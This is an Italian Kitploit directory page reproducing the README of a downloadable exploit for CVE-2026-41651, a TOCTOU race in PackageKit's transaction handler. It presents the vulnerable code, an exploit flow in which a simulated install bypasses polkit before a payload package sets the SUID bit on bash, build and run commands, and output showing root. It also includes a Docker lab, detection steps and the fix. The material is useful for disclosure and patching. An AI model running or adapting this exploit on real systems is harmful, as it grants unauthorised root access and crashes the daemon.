Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41651 — Sfrutta una race condition TOCTOU nel gestore delle transazioni di PackageKit per installare pacchetti arbitrari come root, ottenendo un'escalation dei privilegi locali e una shell SUID senza autenticazione. | Kitploit
Strumenti/GitHubGitHub/vozec/cve-2026-41651
Escalation di PrivilegiAnalisi delle VulnerabilitàExploit
GitHubvozec/cve-2026-41651

CVE-2026-41651

Sfrutta una race condition TOCTOU nel gestore delle transazioni di PackageKit per installare pacchetti arbitrari come root, ottenendo un'escalation dei privilegi locali e una shell SUID senza autenticazione.

Vedi Repository
114183 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pack2TheRoot — CVE-2026-41651

Corsa TOCTOU nel gestore delle transazioni di PackageKit. Qualsiasi utente locale non privilegiato può installare pacchetti arbitrari come root senza autenticazione.

Platform Language CVSS Status


Panoramica

CampoValore
CVECVE-2026-41651
ComponenteDemone PackageKit (packagekitd)
Versioni interessate1.0.2 – 1.3.4
Corretto in1.3.5
ImpattoEscalation locale dei privilegi → root
Autenticazione richiestaNessuna
Interazione utenteNessuna
Testato suUbuntu 24.04, Debian 12

Demo

poc

Vulnerabilità

Tre bug in src/pk-transaction.c si combinano per creare una finestra TOCTOU tra autorizzazione ed esecuzione.

Bug 1 — Sovrascrittura incondizionata dei flag (riga 4036)

InstallFiles() sovrascrive incondizionatamente cached_transaction_flags e cached_full_paths senza alcun controllo di stato:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Rifiuto silenzioso della transizione di stato (righe 876–881)

pk_transaction_set_state() scarta silenziosamente le transizioni all'indietro. I flag sono già stati sovrascritti, ma lo stato rimane invariato:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Lettura tardiva dei flag (righe 2273–2277)

pk_transaction_run() legge i flag memorizzati al momento dell'invio (dall'idle di GLib), non al momento dell'autorizzazione:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bonus — SIMULATE aggira polkit (righe 2893–2900)

Impostare PK_TRANSACTION_FLAG_SIMULATE (bit 2, valore 0x4) salta completamente il controllo polkit:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Flusso dell'exploit

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Entrambe le chiamate InstallFiles vengono inviate come chiamate D-Bus asincrone fire-and-forget prima che il ciclo principale del client esegua un'iterazione. Questo garantisce che entrambi i messaggi arrivino al socket del server prima che l'idle di GLib possa scattare — nessuna race da vincere.

polkitd alla fine restituisce NOT_AUTHORIZED per la seconda chiamata, ma a quel punto APT ha già avviato l'installazione. L'errore è previsto e innocuo.


Compilazione

root@kitploit:~
sudo apt install libglib2.0-dev
make

Nessun'altra dipendenza — i pacchetti .deb vengono compilati in C puro a runtime.


Utilizzo

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — tutti i controlli dei privilegi nel kernel usano l'UID effettivo.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

L'immagine compila PackageKit 1.3.4 dal sorgente (commit 2149735, ultimo commit vulnerabile), avvia dbus + polkitd + packagekitd, quindi esegue l'exploit come utente non privilegiato.

Nota sul g_assert: l'immagine Docker rimuove tramite patch una guardia g_assert (!transaction->emitted_finished) in pk-transaction.c. Su un sistema reale non patchato, questo assert scatta quando il thread di APT tenta di emettere Finished dopo che polkitd lo ha già fatto, mandando in crash il demone via SIGABRT. La bash SUID è già su disco a quel punto, quindi l'escalation dei privilegi riesce — il crash è un effetto collaterale DoS. packagekitd si riavvia alla successiva attivazione D-Bus.


Rilevamento

Su PackageKit ≥ 1.3.5 la seconda chiamata viene rifiutata:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

La correzione aggiunge una guardia di stato in pk_transaction_method_call():

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Riferimenti

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Commit di correzione — 76cfb675
  • Annuncio OSS-Security
Scarica lo strumento